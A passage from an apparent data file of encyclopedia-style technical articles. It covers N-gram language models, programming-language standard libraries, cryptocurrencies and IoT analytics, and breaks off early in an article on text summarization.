of **Out of Vocabulary (OOV)** words. These are words that appear during testing but not in training. One way to solve this is to start with a fixed vocabulary and convert OOV words in training to `UNK` pseudo-word. \n\nIn one study, when applied to sentiment analysis, a bigram model outperformed a unigram model but the number of features doubled. Thus, scaling N-gram models to larger datasets or moving to a higher N needs good feature selection techniques. \n\nN-gram models poorly capture longer-distance context. It's been shown that after 6-grams, performance gains are limited. Other language models such cache LM, topic-based LM and latent semantic indexing do better. \n\n\n### What software tools are available to do N-gram modelling?\n\nR has a few useful packages including *ngram*, *tm*, *tau* and *RWeka*. Package *tidytext* has functions to do N-gram analysis. \n\nIn Python, NTLK has the function `nltk.utils.ngrams()`. A more comprehensive package is nltk.lm. Outside NLTK, the *ngram* package can compute n-gram string similarity. \n\nWritten in C++ and open sourced, SRILM is a useful toolkit for building language models. This includes the tool `ngram-format` that can read or write N-grams models in the popular *ARPA backoff format*, which was invented by Doug Paul at MIT Lincoln Labs. \n\nA demo of an N-gram predictive model implemented in R Shiny can be tried out online.\n\nNgram Viewer is a useful research tool by Google. It's based on material collected for Google Books. Given a sequence of words, it shows how the N-gram counts have changed over the years. \n\n## Milestones\n\nJul  \n1948\n\nIn his paper titled *A Mathematical Theory of Communication*, Claude Shannon describes an example in which the next letter depends on the previous one based on defined probabilities. This is an application of Markov process to natural languages. \n\n1980\n\nAlthough smoothing techniques can be traced back to Lidstone (1920), or even earlier to Laplace (18th century), an early application of smoothing to n-gram models for NLP is by Jelinek and Mercer (1980). A better smoothing technique is due to Katz (1987). More smoothing techniques are proposed in the 1990s. \n\n1991\n\nJelinek and team at the IBM Research Division adapt a trigram LM to match the current document better. By caching a recent history of words, they propose **Cache Trigram Language Model (CTLM)**. They show that for long text of 500-800 words, there's a drop in error rate by about 24%. \n\n1993\n\nN-gram models look at the preceding (n-1) words but for larger n, there's a data sparsity problem. Huang et al. propose a **skipping n-gram model** in which some preceding words may be ignored or skipped. For example, in the phrase \"Show John a good time\", the last word would be predicted based on P(time|Show \\_\\_ a good) rather than P(time|Show John a good). Many such skipping models are proposed through the 1990s. \n\n1995\n\nKneser and Ney propose improved backoff and discounting. It's based on the concept of **absolute discounting** in which a small constant is removed from all non-zero counts. **Kneser-Ney Smoothing** improves on absolute discounting by estimating the count of a word in a new context based on the number of different contexts in which the word has already appeared. \n\n1998\n\nChen and Goodman at Harvard University give an empirical comparison of different smoothing techniques. Other papers from them around the late 1990s become influential in this area of research. Due to their work, **Interpolated Kneser-Ney** has become a popular language model. \n\nJul  \n1999\n\nVersion 0.99 of the **SRILM toolkit** is open sourced for public use. Earlier versions of SRILM can be traced back to 1995. Version 1.00 is released in June 2000. Version 1.7.3 comes out in September 2019. \n\n2002\n\nResearchers at Carnegie Mellon University apply N-grams to model whole-genome protein sequences. Their research triggers further application of N-gram models to computational biology. \n\nSep  \n2006\n\nFor the benefit of research in linguistics, Google releases a dataset of counts of about a billion five-word sequences that appear at least 40 times from a text of trillion words. The dataset becomes available via the Linguistic Data Consortium (LDC).","meta":{"title":"N-Gram Model","href":"n-gram-model"}}
{"text":"# Standard Library\n\n## Summary\n\n\nEvery programming language defines a basic set of components that can be reused by programs. Every implementation of the language should provide these components. This set of reusable components is what we call a **standard library**. \n\nA good standard library is essential to the long-term success of a programming language. However, there's no consensus on what or how much should be included in a language's standard library. Python and Java have large standard libraries while C takes a minimalistic approach.  \n\nThe definition of a standard library is not limited to languages. It can be extended, for example, to frameworks. Thus, we can say that Django (web framework) and Robot Framework (test automation framework) have their own standard libraries that are installed by default with the framework.\n\n## Discussion\n\n### What should a standard library typically include?\n\nSince the C standard library is minimal, it gives us an idea of what's typically included. These are either macro constants or functions. In an object-oriented language such as C++, classes, class templates and methods are part of the standard library. Others (Java, PHP) may additionally include interfaces.\n\nOperations that are deemed necessary for most programs are included. A standard library will have functions to access the file system and perform input/output operations; functions that deal with the data types of the language; functions that allow memory allocation and manipulation; functions that enable multithreaded programming; functions to handle date and time; common math functions; functions for error handling and assertions. \n\nModern languages have lot more than what C standard library offers. C++ has classes for containers, algorithms and regular expressions. Python has packages for data persistence, data compression, cryptography, exception handling, networking, CSV/XML parsing, GUI, testing, profiling, and more. \n\n\n### What are some advantages of using a standard library?\n\nDevelopers can focus on their application logic rather than low-level details, which are provided by the standard library. Code can be reused across projects. Code is more maintainable since most developers will be familiar with the standard library. There's also a shorter learning curve for new developers joining a project.\n\nSince implementations of the standard library are optimized and well tested, programs that use them are likely to be more reliable. If the language is open source, developers can also study the implementation of the standard library to learn best practices. \n\nProjects that use the standard library might even be smaller since developers are not introducing custom code for some modules while using the standard library in others.\n\n\n### How are standard libraries delivered or distributed?\n\nA standard library is not simply one physical document but rather a combination of many things:\n\n    + **Standards document**: This is the main document released with every version of the language. This will include core parts of the language plus what's in its standard libraries. For example, C and C++ standards documents are released by ISO and must be purchased. In other languages, these may be more readily available online.\n    + **Header files**: This is typical of C and C++. Header files specify what's available in the standard libraries.\n    + **Implementations**: When a language compiler or interpreter is installed on a machine, an implementation of the standard library is also installed. In Python, users have a choice of different implementations of the standard library, with CPython being the default.\n    + **Delivery**: In C and C++, implementations are object files. In Python, they are packages containing modules. In Java, we have packages containing classes. In client-side JavaScript, implementation is built into the web browser.Documentation and header files may also be termed as the Application Programming Interface (API) of the language. It's also common for vendors to include useful non-standard functions at the expense of portability. \n\n\n### Who should read standard libraries?\n\nThere are a few types of folks who need to read them: compiler writers, those who implement standard libraries, tool vendors, and users of the standard libraries.\n\nStandards documents are usually hard to read because they are formal, legal and highly detailed. They are meant for compiler writers and those who implement standard libraries. Tool vendors may also read them. For everyone else, it's usually sufficient to read the documentation on how to use the standard libraries in their code. Tutorials and example code showing the use of standard libraries are more useful than reading the language standards.\n\n\n### What are some considerations when defining a standard library?\n\nWhat a standard library provides should fulfil the needs of programmers. In 2016, when initiating a revision of C standard, convener David Keaton pointed out that security threats on the Internet are growing, Moore's Law is failing and there's a need to exploit concurrency and parallelism in programs. Languages must therefore evolve to address these new concerns. \n\nStandard library must balance stability and evolution. Design should address safety, security, simplicity, interoperability, demanding application domains, and embedded systems. To add a feature, we must consider how it would interact with other features. Updates to the standard library must be backward compatible to earlier versions. While there could be some platform-dependent features, portability should be improved. Sometimes portability may be sacrificed for performance, at least in C. \n\nOne point of view is that most standard libraries lack features and they are incompatible across languages. What if you could write a library in one language and automatically translate it into any desired language? **Loyc Multi-Language Standard Library (MLSL)** aims to do this. \n\n\n### Should a standard library be exhaustive or minimal?\n\nC and C++ are minimal. Java provides many higher level utilities out of the box. While this benefits developers, it also bloats the language. Some APIs become antiquated and less useful, though they would have to be maintained unless deprecated. Python also adopts the \"batteries included\" approach and provides many sophisticated packages as part of the standard library. While this is useful, it also means that new implementations have more work to do. A small library implies that multiple implementations are possible and all programmers can rely on it. \n\nThere's been some debate about moving C++ towards a \"batteries included\" approach, such as adding a graphics library. Alternatively, C++ can be kept minimal while finding a better way to distribute libraries and dependencies. \n\nThe choice that language designers make must be governed by the its main purpose. Should it a general purpose language or satisfy a niche? It's been said, \n\n> No language can be everything for everybody.\n\n\n### Could you list some examples of standard libraries?\n\nHere's a short and non-exhaustive list of some standard libraries:\n\n    + C: assert, float, math, stdio, stdlib, string, threads\n    + C++: list, map, deque, vector, algorithm, iterator, string, regex, fstream, iostream, exception\n    + Python: list, dict, tuple, range, open, enum, collections, math, pickle, zlib, threading, queue, email, json\n    + Go: tar, gzip, heap, crypto, hash, image, io, mime, net, os, path, strings, time, unicode\n    + Java: java.lang, java.io, java.net, java.math, java.text, java.awt.image, java.security, java.beans\n\n### What happens if commonly required functions are not part of a standard library?\n\nThere's nothing in C standard library to help a developer send emails from a C program. The developer is forced to build this feature from low-level networking constructs. Moreover, that code can't be reused by others since it's not part of the standard library.\n\nThis is where the power of the community becomes important. Useful functions that are not part of the standard library are curated, reviewed and shared via public repositories. In Java, there's Apache Commons. In Python, there's PyPI. For C++, Boost provides peer-review libraries, some of which were later accepted into the standard library. For C, there's POSIX standard library that enables portability across different variants of UNIX/Linux while adding many functions missing in C standard library. \n\nC++ Boost binaries can be downloaded and installed for your platform. Modern languages implement the concept of package/dependency management. Software is gathered into centralized repositories and tools exist to manage packages and version dependencies as necessary for your project. Example repositories include Packagist (PHP), PyPI (Python), CPAN (perl), NPM (Node.js), and Maven (Java). \n\n\n### Are there well-defined processes to evolve the standard libraries?\n\nLanguages that are proprietary (such as MATLAB or Wolfram) will have closed processes. Customers of these products may request features. Otherwise, they have little control on how the language or its standard library evolves. On the other hand, more open languages are standardized by a process that allows greater community participation.\n\nBoth C and C++ are standardized by the International Organization for Standardization (ISO). Meetings are organized regularly to discuss changes to the language. Participants are organized into working groups. Proposals are submitted and refined to produce working drafts. Voting by members will promote these drafts to becoming part of the standard library. Those who wish to make proposals, should study the Standard Library Guidelines.\n\nIn the case of Python, the Python Software Foundation (PSF) does regular releases. Any modification to the standard library is done via a Python Enhancement Proposal (PEP). Proposals are discussed and documented in draft stages. Once finalized, they're implemented. \n\nJava has the Java Community Process (JCP) and proposals are managed as Java Specification Requests (JSRs). PHP has an RFC process with clear guidelines on how to participate. \n\n## Milestones\n\n1989\n\nThe **ANSI C** standard library is standardized to overcome compatibility problems across variations and implementations of the C language. Effort towards this important milestone started back in 1983 when the American National Standards Institute (ANSI) formed a committee. This standard is also called **C89**. Normative Addendum 1 (NA1) is added to it in 1995. \n\nSep  \n1999\n\nWith `integer` library as its first entry, an experimental release of **Boost** is introduced for C++. \n\nApr  \n2012\n\nAs ISO/IEC 30170:2012, **Ruby** is published as an ISO standard. \n\n2017\n\nISO standardizes **C++17** for the C++ language. C++ was first standardized in 1998. The next planned evolution is named **C++20**, to be released in 2020. The C++ Standard Library was previously called Standard Template Library (STL).","meta":{"title":"Standard Library","href":"standard-library"}}
{"text":"# Cryptocurrency\n\n## Summary\n\n\nA cryptocurrency is a digital currency that can be used to buy goods and services, but it has other purposes as well. Cryptocurrencies differ on the basis of their technology, purpose, privacy, and performance. Because they're transacted in cyberspace, they're also called **virtual or digital currencies**. By one estimate (Jan 2022), there are 16,300+ cryptocurrencies. \n\nCryptocurrencies are created using cryptographic techniques that make them secure. Many of them are based on blockchain technology but there are some that don't use blockchain. This blockchain is distributed across a network of computer systems. No single computer controls the blockchain. \n\nCryptocurrencies have their challenges. They've been used to conduct illegal activities in an untraceable manner. They can be stolen. Their valuations are volatile, leading to speculative trading. Regulations are not mature or simply non-existent in many countries.\n\n## Discussion\n\n### How are cryptocurrencies different from fiat currencies?\n\nFiat currencies (dollars, euros, etc.) are issued and backed by governments. Governments also control the supply and this scarcity gives them value. The financial system and transactions are governed by a central bank. Apart from cash transactions, online transactions and cheque payments require intermediaries such as banks. These intermediaries often charge a commission. Transactions can be reversed if necessary.  \n\nCryptocurrencies are not backed by any government or central bank. Trust in these currencies comes from consensus among participants. Trust is placed in the underlying technology, which is decentralized. No single entity controls the technology. Cryptocurrencies themselves have mechanisms to limit supply. Transactions can happen directly without intermediaries or commissions. Transactions are permanently recorded: they can't be erased or reversed.  \n\nHowever, both fiat currencies and cryptocurrencies can be used to pay for goods and services, though cryptocurrencies are not widely used for this purpose at the moment. Both store value so long as there's continuing trust. \n\n\n### Which are the main cryptocurrencies?\n\nFrom the thousands of cryptocurrencies, Bitcoin is the most famous one, followed by Ethereum. Cryptocurrencies other than Bitcoin are generally called *altcoins*. \n\nCryptocurrencies can be categorized as follows:\n\n    + **Payments**: Bitcoin was created as a currency for fast and cheap cross-border payments.\n    + **Infrastructure**: Ether is the crypto asset of Ethereum. To use applications on Ethereum, ethers are bought and spent. Other cryptocurrencies can build on top of Ethereum. Augur is an example.\n    + **Services**: Created to offer a service. Siacoin provides decentralized cloud storage. MANA can be used to buy virtual land on the Decentraland application. LUNA (from Terra), a DeFi coin, enables decentralized finance. Dentacoin serves the healthcare industry.\n    + **Stablecoins**: Better stores of value since Bitcoin is highly volatile. Tether, USD Coin and Binance USD are examples. They're pegged against the U.S. Dollar.\n    + **Privacy Coins**: Offer greater privacy for transacting parties. They've been popular among hackers distributing ransomware. Eg. Monero, Zcash and Dash.\n    + **Meme Coins**: Created as a joke but have become successful. Eg. Dogecoin, Shiba Inu and Dogelon Mars.\n    + **Interoperability Coins**: Used on platforms that enable different blockchains to interoperate. Examples of these cryptocurrencies (and their platforms) are Dot (Polkadot), Link (Chainlink) and Atom (Cosmos).\n\n### Are crypto coins the same as crypto tokens?\n\nThere are two broad categories of cryptocurrencies: coins or tokens. Coins are used for payments but tokens have a variety of uses, often in application-specific ways. Coins can be viewed as digital money whereas tokens as programmable assets. Smart contracts rely on tokens. Such contracts give proof of ownership to real-world assets. \n\nTokens are issued through a process called Initial Coin Offering (ICO). Investors get tokens in return for their money. This money is used to develop a product or service to which investors get special access. Tokens themselves can be currency tokens, asset tokens, security tokens, reward tokens, utility tokens, or non-fungible tokens (NFTs). \n\nCoins are native to their own blockchains but that's not the case with tokens. Bitcoin, Ethereum, Cardano and Polkadot run on their own blockchain platforms. USD Coin, Crypto.com Coin and Wrapped Coin are tokens that run on the Ethereum platform.  \n\nHowever, the distinction between coins and tokens is not always clear. CryptoSlate website shows coin and token rankings, and some cryptocurrencies appear in both lists.  \n\n\n### What are the main technical differences among various cryptocurrencies?\n\nAn important difference is how coins are produced and spent, their privacy and transaction speed. Some cryptocurrencies such as Bitcoin, Dash and Monero are created by a process called *mining*. Miners use powerful computers to solve complicated mathematical problems. Other currencies such as NEM (XEM) don't require mining. Ripple and IOTA are produced by organizations that create them. \n\nIn terms of privacy and performance, transactions in Dash or Monero are faster than those in Bitcoin. Litecoin validates a block in 2.5 minutes whereas Bitcoin requires 10 minutes. Litecoin uses *scrypt* algorithm for hashing instead of Bitcoin's SHA-256. \n\nWhile many cryptocurrencies use blockchain as the underlying technology, IOTA is one that uses *tangle* instead. More technically, it's based on directed acyclic graphs. IOTA was created to secure data for the Internet of Things (IoT). Even when cryptocurrencies use blockchain there are differences. In a blockchain, participants agree on transactions by consensus. Bitcoin uses Proof of Work (PoW) as the consensus algorithm but Solana use a mix of Proof of Stake and Proof of History. \n\n\n### How does a cryptocurrency work?\n\nMost cryptocurrencies run on blockchain technology. A blockchain is a digital ledger (or database) of transactions. It's distributed across a network of computer systems but no single computer controls the network. Instead, this decentralized network of computers runs the blockchain and authenticates transactions. \n\nEach computer is called a **node**. Each node performs a few main functions: relay transactions to other nodes, process transactions, and maintain the database of transactions. Many transactions are grouped into a **block**. Blocks are then connected in chronological order in a long, unbroken chain called **blockchain**. \n\n**Mining** itself is the process of validating a transaction to prevent fraud. A node that validates transactions is also called a **miner**. Validation is simply a miner solving a complex mathematical problem. The cost of the hardware and energy required to solve this problem is very high. The miner that solves the problem first earns the right to post the transaction to the ledger and gets the cryptocurrency as the financial reward. \n\nEvery block is timestamped to indicate when it was validated. Timestamp used is the median of timestamps returned by all nodes of the network. \n\n\n### How can cryptocurrencies be bought and sold?\n\nCryptocurrencies can be bought either via a cryptocurrency exchange or through brokers. Cryptocurrency exchange is a platform where people buy and sell cryptocurrencies. They have relatively lower fees than brokers. Cryptocurrency brokers are the intermediaries that execute transactions on your behalf and charge a fees for it. They also trade through exchanges. \n\nTo buy cryptocurrencies through an exchange, a user creates an account with the exchange. The user needs to verify the account to prevent fraud and meet federal regulatory requirements. The next step is to deposit real-world money into the chosen exchange. Now the user can buy any cryptocurrency out of hundreds of options.  \n\nA cryptocurrency can be exchanged for real-world money. Or it can be converted to any other cryptocurrency using exchange platforms such as Coinbase, Gemini and Trust Wallet.\n\n\n### What options do I have to store cryptocurrencies?\n\nCryptocurrency exchanges are not backed by banks and they're loosely regulated. So they're at risk of theft or hacking. An investor can lose all his money if he forgets or loses the codes to access his account. Hence, it's very important to have a secure storage. \n\nSome storage methods include:\n\n    + **On the Exchange**: Cryptocurrencies are generally stored in a crypto wallet on the exchange. For higher safety, it's better to use a hot or cold wallet.\n    + **Hot Wallets**: These are crypto wallets that are accessible online and run on internet-connected devices, such as tablets, computers or phones. Hot wallets are convenient, but there's still a risk of theft since they operate on the internet.\n    + **Cold Wallets**: Cold crypto wallets aren't connected to the internet. They are stored in external devices, such as USBs or hard drives. Precaution is a must with cold wallets because if the keycode is lost or the device fails or breaks, the cryptocurrency may not be recovered ever.\n    + **Physical Coins**: Bitcoin investors can purchase physical coins corresponding to the amount of bitcoins they purchased, with tamper-proof sticker covering a predetermined amount of Bitcoin.\n\n### What are the technological limitations of cryptocurrencies?\n\nThe biggest technological limitation is the theft of currency. There have been many incidents when people or organizations have lost it all. In 2014, Fr33 Aid, an anarchist mutual aid organisation had it's Bitcoins stolen from it's online wallet located at Blockchain.info. Approximately 23 bitcoins were stolen, valued at more than 1 million dollars. Similar thefts have occurred at other exchange platforms including Coinbase and MtGox. MtGox went through a $500 million theft that ultimately brought down the exchange. \n\nCryptographic private keys can be lost from local storage due to malware, data loss or the destruction of the physical media. This results in the permanent loss of money. Perhaps another limitation is that transactions are irreversible. \n\nBitcoin, Ethereum and Dash are examples that require resource-intensive, high-energy-consuming mining. According to Bloomberg, 24 hours of crypto mining from around the world consumes around $150,000 in electricity. \n\n\n### What are some criticisms of cryptocurrencies?\n\nCryptocurrencies are seen as threatening the establishment, which may result in outright bans or tight regulations. If so, they may not succeed as digital money. High transaction fees charged by exchanges may be an additional discouragement. Due to price volatility, they're not even good as stores of value. Transactions are also not really anonymous unless participants use one of the privacy coins. While built on decentralized technology, it's not really democratic since control is with miners, exchanges and platform owners. \n\n\n### How are different countries adapting cryptocurrencies?\n\nGovernment of different countries have different stands on the usage of cryptocurrencies. While some developed countries such as US, UK and Canada have allowed them for transactions, Zimbabwe, Kuwait and Bahrain have put an implicit ban on it. China, Bangladesh, Nepal, Qatar and Egypt have put an absolute ban on their use. \n\nEl Salvador is the first country to adopt cryptocurrencies as a legal tender. In Latin America, high inflation and volatility of fiat currencies have made cryptocurrencies a safer alternative. Cryptocurrencies are seen as better store of value. They're also used for sending money home. \n\nEstonia has strict regulations. Licenses must be obtained, which includes paying a licensing fee, registering a headquarters physically located in Estonia and identifying customers. This resulted in withdrawal of 1,000 activity licenses of virtual currency companies in 2020. \n\n\n### Which are the cryptocurrency exchanges out there and what cryptos do they support?\n\nThere are many cryptocurrency exchanges such as Coinbase, Gemini and Binance US. Different exchanges have different interfaces. Following are a few of the many exchanges:\n\n    + **Coinbase**: According to Forbes, Coinbase is one of the best cryptocurrency exchanges. It offers services in many different cryptocurrencies such as Ethereum Classic, XRP, and Stellar Lumens; but it doesn't support Dogecoin.\n    + **Crypto.com**: It supports access to 180 different cryptocurrencies. It doesn't charge any trading fee.\n    + **Gemini**: It offers a trading platform that's easy to use for beginners, but the fee structure is higher than other exchanges.\n    + **Etoro**: It supports 17 different cryptocurrencies. It offers service in 44 states in the US only.\n\n\n## Milestones\n\n1983\n\nAmerican cryptographer David Chaum develops **eCash**. The platform allows people to transfer money anonymously over the internet. \n\n1995\n\nDigiCash, an organization founded by David Chaum based on the eCash concept, gains popularity. It's an early form of cryptographic electronic payments that requires user software for withdrawing or sending payments. \n\n1996\n\nNational Security Agency of United States publishes a paper entitled *How to Make a Mint: the Cryptography of Anonymous Electronic Cash*, describing a cryptocurrency system. \n\n1998\n\nThe term **cryptocurrency** is officially established. DigiCash of David Chaum goes bankrupt. Wei Dai publishes B-money based on a decentralized crypto model. \n\n2009\n\nPseudonymous developer Satoshi Nakamoto, creates the first decentralized cryptocurrency named **Bitcoin**. \n\n2013\n\nBilly Markus and Jackson Palmer release a new decentralized cryptocurrency named **Dogecoin**. \n\n2014\n\nUK commissions a study of cryptocurrencies and the role they could play in the UK economy. \n\n2015\n\nVitalik Buterin, Gavin Wood, Charles Hoskinson, Anthony Di Iorio and Joseph Lubin release a new decentralized cryptocurrency named **Ethereum**. \n\n2021\n\nEl Salvador becomes the first country to accept Bitcoin as legal tender. Government of China, the largest market of cryptocurrency, declares all cryptocurrency transactions illegal, completing a crackdown on cryptocurrency. \n\n2022\n\nBitcoin becomes the largest cryptocurrency with a market capitalization of $882 billion, followed by Ethereum at $447 billion. Binance Coin, Tether and Solana follow at $86 billion, $78 billion and $52 billion respectively.","meta":{"title":"Cryptocurrency","href":"cryptocurrency"}}
{"text":"# IoT Analytics\n\n## Summary\n\n\nIoT analytics involves analyzing data coming from the Internet of Things (IoT) and deriving useful insights from this data.  \n\nIoT analytics is usually discussed within Industrial IoT (IIoT). Data is collected from manufacturing infrastructure, meteorological stations, smart meters, delivery vans, and various sensors on all types of machines. IoT analytics can also be applied to retail and healthcare sectors. Data can be in different formats such as video feeds, geolocation data, social media data, or log files. Given the different types of information sources, data integration can be very difficult. This is exactly where IoT analytics makes a difference.\n\n## Discussion\n\n### Could you showcase IoT analytics with some examples?\n\nBy adopting IoT for monitoring, control and automation, Deep Sky Vineyard improved efficiency. By optimizing farming schedules, labour efficiency increased by 30%. Crop efficiency increased by 50% by reducing loss due to rotting, etc. Water flow and soil moisture are monitored to achieve consistent yields and quality. \n\nSiemens Healthineers applied IoT to detect anomalies in x-ray tube production using multivariate time series. Specifically, they determine the quality of liquid metal bearings. They're also able to identify how much each variable contributes to the anomaly. \n\nAudi's Neckarsulm factory does 5 million welds per day. Manual inspection of weld quality is expensive. Voltage and current data from welding gun controllers are collected. These are combined with data on weld configuration, metal types, and electrode health. Audi does analytics at the edge on Intel hardware to warn of possible faulty welds. \n\nBritish oil and gas company BP fitted many of its wells with 20-30 GE sensors. Temperature, pressure and other parameters are measured. Each well sends 2 million data points per minute to GE's Predix cloud platform. This data helps BP predict well flows and useful life of a well, and see fleetwide performance. \n\n\n### How does IoT analytics differ from traditional analytics?\n\nTraditional analytics is done on structured data. IoT devices generate **unstructured data**. Data have different formats and are not standardized. Because sensors are affected by physical process and randomness, data may contain missing points, corrupted messages, and incorrect readings. This is unlike data entered by humans or scanned from forms.\n\nTraditional data systems don't change that often. For example, when filling a form many fields have a predefined range. IoT systems are more **dynamic**. Device IP addresses may change. Devices may be upgraded. New devices may be installed with better capability. Environmental conditions may affect sensor accuracy or precision. \n\nIoT data often comes in **real-time**. Many applications also require real-time analysis and insights. In fact, it's been said that much of IoT data becomes stale and useless if not analyzed immediately. Deciding whether to give someone a loan based on analysis of past behaviour is non-real-time traditional analysis. But to know available parking spaces requires IoT analytics in real-time. \n\n\n### What does it mean to state that IoT data needs context?\n\nRaw data collected by sensors is called **content**. It's value can be enhanced by bringing in **context**, which is about associating a data stream with other data streams and business goals. \n\nAnalysis on any device's data stream can be enhanced by combining it with other related data streams. Relationships across data sources can be modelled digitally. These relationships become useful when we run analytics queries. In the figure, a household's power consumption from the grid is enhanced by including all other households on that street or all households fed by the same power station. These multiple streams are used to more accurately interpolate missing data points or detect anomalies. \n\nData collected by sensors on a machine on the factory floor can be enhanced with peak hours of machine use, yields, rejects, operator effectiveness, bottlenecks, material use estimates, and more. Another example is leak detection in oil pipelines. Context comes from integrating different types of data: pipeline inspection data, weather, dig reports, waterways, rain/flood zones, seismic activity, etc. \n\n\n### What's a typical process flow in IoT analytics?\n\nIoT analytics commonly adopts the following steps: \n\n    + **Data Collection**: This step primarily comprises of data collected from various IoT sources including audio, image and light sensors. This heterogeneous nature of data raises the significance of IoT analytics technology.\n    + **Data Pre-processing**: This step handles missing data, imports required libraries, encodes categorical data and does feature scaling.\n    + **Analysis of Data**: This is mostly about exploratory data analysis that brings out summary statistics. It may suggest possible hypotheses and modelling approaches.\n    + **Train and Test of data**: Data scientists build machine learning and deep learning models to suit business requirements. Models are trained from available data. With cross validation and online testing, the efficiency of the model is evaluated.\n    + **Deployment and Improvement**: The tested model is deployed to deal with various real-world business problems.\n\n### What are the various types of analytics in IoT?\n\n**Descriptive analytics** is the most basic form that allows users to describe and aggregate incoming IoT data. Descriptive analysis is as simple as calculating mean and standard deviation. It can be used to quickly understand the data being collected. \n\n**Diagnostic analytics** builds on the initial understanding provided by descriptive analytics. It seeks to explain why something happened in the past. It's really root cause analysis but based on data and powered by algorithms. Data discovery, data mining, data drill down and drill through are some useful processes. \n\n**Predictive analytics** looks at historical data to predict future events or behaviour. If a sensor starts showing data out of its usual range, this might indicate some fault. Predictive maintenance can be scheduled before things become worse. In an another example, a supplier can proactively analyse client inventory and do early or just-in-time delivery.  \n\n**Prescriptive analytics** is used to optimize decisions for the future to achieve a certain goal. For example, it might suggest best operating conditions to maximize efficiency or uptime. \n\n\n### How is edge computing influencing IoT analytics?\n\nWith edge computing some of the work is done at the edge of the network. This is where IoT connects the physical world to the cloud. Edge computing is more than just computation and data processing on IoT devices. An integral part of this is the powerful and seamless integration between the IoT and the cloud, between the physical world and the computational world. Edge computing applications use the computing power of IoT devices to filter, pre-process, aggregate, or evaluate IoT data. \n\nSome of the motivating factors for edge analytics are data privacy, latency and robustness. Some applications might permit processing of sensitive information only on devices. Applications that use image recognition may need low latency. Connectivity issues should not render applications unusable. All these are examples where cloud analytics may not be suitable. \n\nHealthcare has many examples of edge analytics. Portable MRI machines and image processing software enable real-time analysis at bedside. Insulin pumps obtain current sugar levels from sensors, use algorithms to predict future sugar levels and then deliver correct amounts of insulin. \n\n\n### What are some algorithms or techniques used in IoT analytics?\n\nIoT uses many ML/AI algorithms, selected to match the needs of each application. Classification, clustering, estimation, denoising, and feature selection are some of these. Time-series analysis is an important technique. This can be time-series statistical analysis, data mining or search. One technique breaks data into chunks and uses incremental algorithms. This mitigates high memory requirements. \n\nEdge computing mitigates large capacity requirements by distributing the processing and storage. Only some data that needs complex analytics or long-term storage go to the cloud. In some applications, only aggregates (sum, mean, min, max) are stored. \n\nWhen it comes to real-time insights, data is analyzed as it flows into the analytics platform. This is called streaming analytics. Raw data may be stored in a data lake. Processed data is usually stored in databases or data warehouses. \n\nTime-series data has its own customized databases: InfluxDB, Timescale, Prometheus, Redis, Kdb+, RRDtool, Amazon Timestream, and more. Moreover, IoT leverages many big data technologies including Apache Hadoop, Apache Spark, Apache Storm, SAP HANA, Apache Drill, and more. \n\n\n### What are the major industries influenced by IoT analytics?\n\nIoT analytics is playing an important role in manufacturing, retail, oil & gas and healthcare: \n\n    + **Manufacturing**: This sector is defining the Industrial IoT (IIoT), Industry 4.0 and smart energy management. Machine learning, neural networks, and predictive methodologies are playing major roles. With these technologies, hidden trends, insights and correlations are established that help in strengthening the business structure.\n    + **Retail**: IoT analytics in retail assist companies in providing a personalized experience to customers that turn them into repeat buyers. Data provides a contextual view about consumer preference.\n    + **Oil & Gas**: Operational efficiency is improved and downtimes are reduced by fixing faults quickly or predicting impending failures. Analytics is also presenting new opportunities such as better pump designs, higher production, reservoir mapping, and more.\n    + **Healthcare**: IoT analytics is unlocking valuable insights by analyzing data from various mobile devices and smart technologies such as sensors, heart rate monitors, thermometers and IVs. They help to gain a remote view of patients.\n\n### What are the major barriers to adopting IoT analytics?\n\n**Data privacy** is a concern for end users. Data from their devices may reveal personal information directly or via analytics. Those who collect the data don't always clarify how it will be stored, secured, shared or used.  \n\nSince IoT deals with physical systems (building automation, self-driving cars), **safety** is a major concern. Buggy apps, malware or communication failures can causes systems to fail and put lives in danger. \n\n**Real-time analytics** itself is a challenge due to large volumes of data that demand fast processing and high amounts of storage.  \n\nIoT as a whole is **diverse and complex**. The architecture spans low-end sensors to high-end servers, edge analytics to cloud storage. Many types of data come in. Various technologies and workflows are used. Interoperability is an issue. Integrating many parts into one effective solution is a challenge. People need to be trained and ecosystems have to mature.  \n\n**Regulations** about data use are not transparent. The legal framework to handle data theft or misuse is also not mature. \n\n## Milestones\n\n1968\n\nAt General Motors, Dick Morley introduces Programmable Logic Controller (PLC) in the automatic transmission manufacturing division. \n\n1975\n\nHoneywell and Yokogawa introduce the technology of Distributed Computing System (DCS). Control is distributed across the system. Backup redundancies are available. The system eliminates a singular point of failure in a central control room. \n\n1999\n\nRFID as a technology starts gaining wider adoption. In subsequent years, devices equipped with Near-Field Communication (NFC), barcodes, QR codes and digital watermarking start gaining adoption within the IoT technology. \n\n2002\n\nWith the growing popularity of cloud technology, its integration with IoT technology starts experiencing a linear growth rate. Further, this synergy allows the storage of IoT-based data in the cloud. Analysis of the historical data unlocks hidden patterns, thereby leading to the development of OPC Unified Architecture protocol in 2006.","meta":{"title":"IoT Analytics","href":"iot-analytics"}}
{"text":"# Text Summarization\n\n## Summary\n\n\nOn the web, everyone can be a publisher. We're already seeing vast amounts of information being published daily in the form of restaurant/movie/book reviews, blogs, status updates, and more. In addition, traditional print publications (newspapers, magazines, technical journals, whitepapers) are also available online. It's impossible for anyone to keep track of recent publications even if limited to one domain. This is where text summarization can help. \n\nA summary, created automatically by algorithms, typically contains the most important information. The summary should be mindful of the reader and the communication goals. It may also help the reader decide if the original text is worth reading in full. The summary can also help improve document indexing for information retrieval. An automated summary is often less biased than a human-written summary.\n\n## Discussion\n\n### What are some real-world applications of text summarization?\n\nHere are some everyday examples of text summarization: news headlines, outlines for students, movie previews, meeting minutes, biographies for resumes or obituaries, abridged versions of books, newsletter production, financial research, patent research, legal contract analysis, tweeting about new content, chatbots that answer questions, email summaries, and more. \n\nWhen Google Search presents search results, some entries are accompanied by auto-generated summaries. Google may be leveraging a knowledge graph for this purpose. Google's approach to summarization is mainly entity centric. Summarization extends to timelines and events about entities. \n\nDoctors write long medical notes containing nutritional information for pregnant mothers. When these were reduced to short crisp summaries, pregnant mothers found them a lot easier to understand. \n\n\n### Which are the main approaches to text summarization?\n\nWith **extractive summarization**, summary contains sentences picked and reproduced verbatim from the original text. With **abstractive summarization**, the algorithm interprets the text and generates a summary, possibly using new phrases and sentences.  \n\nExtractive summarization is data-driven, easier and often gives better results. Abstractive summarization is how humans tend to summarize text but it's hard for algorithms since it involves semantic representation, inference and natural language generation. Often abstractive summarization relies on text extracts. \n\nFor extraction, sentences are scored and those with highest scores are selected. Scoring criteria may include word 